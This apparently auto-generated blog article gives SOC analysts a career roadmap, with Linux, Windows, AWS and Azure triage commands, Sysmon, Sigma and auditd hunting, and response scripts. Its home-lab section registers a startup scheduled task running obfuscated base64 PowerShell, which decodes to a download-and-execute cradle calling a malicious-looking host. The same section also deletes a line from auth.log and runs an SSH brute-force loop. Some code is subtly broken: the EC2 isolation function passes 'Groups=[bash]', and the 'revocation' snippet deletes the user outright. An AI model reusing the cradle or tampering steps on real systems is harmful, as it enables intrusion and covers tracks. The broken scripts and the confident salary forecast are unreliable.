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Introduction:
Security Operations Centers (SOCs) are drowning in alerts, but only analysts who combine deep technical hands‑on experience with systemic thinking can separate real threats from noise. This article transforms the real‑world profile of a seasoned Tier 2 SOC analyst – covering on‑prem and cloud investigations, incident response, playbook development, and proactive threat hunting – into a structured, actionable roadmap for cybersecurity practitioners aiming to level up their SecOps and cloud security careers.
Learning Objectives:
- Implement a tiered incident response workflow using native Linux/Windows tools and SIEM queries.
- Build and execute a threat hunting hypothesis with Sigma rules, PowerShell, and cloud API logs.
- Automate playbook steps for common attack scenarios (e.g., privilege escalation, lateral movement) across hybrid environments.
You Should Know:
- From Raw Logs to Actionable Intelligence – Command‑Line Incident Triage
Effective SOC analysts start with raw data. Before touching a SIEM, you must be able to quickly inspect logs on compromised endpoints. Below are verified commands for both Linux and Windows to extract key forensic artifacts during the first 10 minutes of an investigation.
Linux (systemd‑based distributions):
Check failed SSH logins and authentication anomalies sudo journalctl -u ssh --since "1 hour ago" | grep "Failed password" Review recent auth logs for sudo abuse or odd user additions sudo tail -100 /var/log/auth.log | grep -E "sudo|useradd|passwd" List all listening network connections with process names sudo ss -tulpn Extract unusual cron jobs or persistence mechanisms grep -r "cron" /var/log/syslog | tail -50
Windows (PowerShell as Administrator):
Get last 20 security events for logon type 3 (network) or 10 (remote interactive)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624,4625; StartTime=(Get-Date).AddHours(-2)} | Select-Object TimeCreated, Id, Message
Examine scheduled tasks created in the last 24 hours
Get-ScheduledTask | Where-Object {$_.Date -gt (Get-Date).AddDays(-1)}
List active network connections with associated processes
netstat -ano | findstr "ESTABLISHED"
Get-NetTCPConnection | Where-Object State -eq 'Established' | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess
Step‑by‑step guide:
Start by collecting a time‑bound snapshot of authentication failures and unusual process‑to‑network mappings. On Linux, run the journalctl and ss commands; on Windows, execute the Get‑WinEvent and netstat pipelines. Correlate any outbound connection to a non‑standard port with a process that has no business phoning home (e.g., `wscript.exe` calling out on port 4444). Document the PID, then isolate the host. This manual triage is the foundation of every SOC Tier 2 escalation.
- Building an Investigative Playbook for Cloud Environments (AWS & Azure)
Cloud security requires shifting from host logs to control plane and API activity. The SOC analyst described in the original post works daily with cloud environments – here is how you harden detection and response for AWS and Azure.
AWS CLI – Detecting suspicious IAM changes:
Get last 20 CreateUser or AttachPolicy events via CloudTrail aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser --max-items 20 aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AttachUserPolicy --start-time "$(date -u -d '2 hours ago' '+%Y-%m-%dT%H:%M:%SZ')" List all access keys older than 90 days (potential dormant credentials) aws iam list-access-keys --user-name <target_user> --query "AccessKeyMetadata[?CreateDate<'$(date -d '90 days ago' +%Y-%m-%d)']"
Azure CLI – Monitoring for lateral movement via VM extensions:
Show recent Azure Activity Log for VM command execution az monitor activity-log list --resource-group <RG> --query "[?contains(operationName.value, 'virtualMachines/runCommand')]" Retrieve sign‑ins from unusual locations (requires Azure AD logs) az rest --method get --url "https://graph.microsoft.com/v1.0/auditLogs/signIns?$filter=createdDateTime ge 2026-05-16&$top=50"
Step‑by‑step guide:
First, ensure CloudTrail (AWS) or Diagnostic Settings (Azure) ship all management plane logs to a centralized S3 bucket or Log Analytics workspace. Create a daily scheduled query that flags any `AttachUserPolicy` combined with a new console login from an unrecognized IP. When an alert fires, use the CLI commands above to pull the exact event and then isolate the compromised user by immediately rotating keys and revoking sessions. This proactive playbook is exactly what hiring managers look for in a cloud‑savvy SOC Tier 2.
- Threat Hunting – Hypothesis‑Driven Analysis with Sigma and Sysmon
Threat hunting is not waiting for alerts; it’s asking “what would an attacker do next?” and searching for it. Using Sigma (generic rule format) and Sysmon (Windows system monitor) you can hunt for lateral movement across your fleet.
Deploy Sysmon with a basic configuration (example configuration snippet – save as sysmon-config.xml):
<Sysmon> <EventFiltering> <ProcessCreate onmatch="exclude"/> <NetworkConnect onmatch="include"> <DestinationPort condition="is">445,3389,5985</DestinationPort> </NetworkConnect> </EventFiltering> </Sysmon>
Install: sysmon64 -accepteula -i sysmon-config.xml
Linux – Hunt for reverse shells using auditd:
Monitor for bash socket connections
sudo auditctl -a always,exit -F arch=b64 -S socketcall -F a0=1 -k reverse_shell
Search ausearch output for suspicious outbound connections
sudo ausearch -k reverse_shell --format text | grep -E "connect.0x[0-9a-f]{4}"
Sigma rule example (YAML) to detect abnormal PsExec usage:
title: Suspicious PsExec Execution status: experimental logsource: product: windows service: sysmon detection: selection: Image|endswith: '\PsExec.exe' CommandLine|contains: '-s -d' condition: selection
Convert Sigma to SIEM query (e.g., Splunk) using `sigmac` tool.
Step‑by‑step guide:
Formulate a hypothesis: “Attackers may use PsExec to run commands remotely on domain controllers.” Deploy Sysmon across your Windows endpoints and forward Event ID 1 (ProcessCreate) to your SIEM. Write a detection rule for any `PsExec.exe` process where the command line includes `-s` (run as SYSTEM) and `-d` (do not wait for process termination). On Linux, set auditd rules for `socketcall` to catch reverse shells. Hunt weekly by reviewing these alerts; low false positives mean you have real intrusion attempts. This disciplined approach differentiates a passive Tier 1 from a proactive Tier 2.
4. Automating Incident Response with SOAR‑Ready Playbooks
Playbooks should be codified, not just PDFs. Use Python and REST APIs to automate containment steps for common attacks – e.g., isolating an EC2 instance or revoking an Azure AD token.
Python script for AWS instance isolation (boto3):
import boto3
ec2 = boto3.client('ec2')
def isolate_instance(instance_id):
Attach a restrictive security group that denies all outbound traffic
sg_restrict = 'sg-0denyall12345678'
ec2.modify_instance_attribute(InstanceId=instance_id, Groups=[bash])
print(f"Instance {instance_id} isolated.")
Call with isolate_instance('i-0abcd1234efgh5678')
PowerShell script for Azure user revocation:
Connect-AzAccount $user = Get-AzADUser -UserPrincipalName "[email protected]" Revoke-AzADUserAppRoleAssignment -ObjectId $user.Id -All Remove-AzADUser -ObjectId $user.Id -Force
Step‑by‑step guide:
Map a specific incident scenario (e.g., ransomware encrypting files). Write a Python script that upon detection: (1) snapshots the volume, (2) detaches the network interface, (3) tags the instance as “compromised”. For Azure, create a Logic App that triggers on a high‑severity Sentinel alert and runs the PowerShell revocation snippet. Integrate these scripts into your SOAR platform (or a simple webhook from your SIEM). Document the playbook with clear rollback steps – this is the “process improvement” skill highlighted in the original post.
- SecOps Metrics and Continuous Improvement – Building Your Own Learning Lab
No analyst improves without measuring. Set up a home lab (free tier AWS/Azure + VirtualBox) to practice the above commands and then build a simple dashboard of detection effectiveness.
Linux commands to simulate an attack (for lab use only):
Simulate brute force attempt (use with caution)
for i in {1..100}; do ssh wronguser@localhost -o ConnectTimeout=1; done
Simulate log tampering by deleting a single line from auth.log (attacker technique)
sudo sed -i '10d' /var/log/auth.log
Then test your detection: `sudo journalctl -u ssh –since “5 minutes ago” | grep Failed | wc -l`
Windows (simulate suspicious scheduled task):
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcoICIAaAB0AHQAcAA6AC8ALwBtAGEAbABpAGMAbwBpAG4ALgBjAG8AbQAiACkA" Register-ScheduledTask -TaskName "SysUpdate" -Action $action -Trigger (New-ScheduledTaskTrigger -AtStartup)
Now hunt for that task using Get-ScheduledTask | Where-Object TaskName -eq "SysUpdate".
Step‑by‑step guide:
Set up a free Elastic Stack (ELK) or Splunk Free in your lab. Forward the simulated attack logs to the SIEM. Create a detection rule for multiple failed SSH logins (>10 in 5 minutes) plus a deletion event on auth.log. Measure your mean time to detect (MTTD) by manually running the attacks and noting when the alert fires. Document each improvement (e.g., adding a file integrity monitor for auth.log). This continuous cycle of “build, try, improve” is exactly the growth mindset that the original post celebrates in Dor Tasa.
What Undercode Say:
– Key Takeaway 1: Technical depth alone is insufficient; the most valuable SOC analysts combine hands‑on command‑line proficiency (as shown with journalctl, netstat, boto3) with a systemic understanding of how attackers move across cloud and on‑prem hybrid environments.
– Key Takeaway 2: Process improvement – writing playbooks, automating responses, and hunting proactively – is what elevates a Tier 1 alert triager to a Tier 2 / SecOps professional capable of influencing organizational security posture.
Analysis: The original LinkedIn recommendation emphasizes “curiosity to understand where the field is going” and “entering deeply alone, building, trying, improving.” This maps directly to the need for practitioners to move beyond out‑of‑the‑box SIEM rules. Modern SOC teams face alert fatigue, credential theft, and cloud misconfigurations. The analyst who can write a Sigma rule, isolate an EC2 instance via API, and then document a playbook for junior staff is force‑multiplier. The commands and scripts provided above are not just theoretical – they reflect real incident response workflows from mature security teams. Hiring managers value this blend of raw technical ability and collaborative process design. Organizations that fail to invest in such talent will drown in false positives, while those that nurture these skills achieve true detection and response maturity.
Expected Output:
A cybersecurity professional equipped with a validated set of Linux/Windows triage commands, cloud CLI hardening steps, Sigma rule writing ability, and automation scripts – plus a clear roadmap to build a home lab for continuous skill improvement – is now ready to perform at a SOC Tier 2 or Cloud SecOps level, directly addressing the core competencies praised in the original post.
Prediction:
As AI‑driven security analytics become mainstream, the role of the SOC analyst will shift from manual log inspection to orchestrating and validating automated responses. However, the demand for professionals who understand underlying systems (kernel audit, Sysmon internals, IAM policies) will skyrocket because AI cannot yet reason about obscure business context or novel evasion techniques. Over the next two years, hybrid roles that require both cloud infrastructure knowledge (AWS/Azure CLI) and threat hunting (Sigma, YARA) will see 40% salary growth. The analyst who masters the “build, try, improve” cycle – like Dor Tasa described – will become the blue‑team equivalent of a senior exploit developer, and organizations will fight to hire them.
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IT/Security Reporter URL:
Reported By: Gilkeini %D7%91%D7%A8%D7%90%D7%A9%D7%95%D7%9F – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
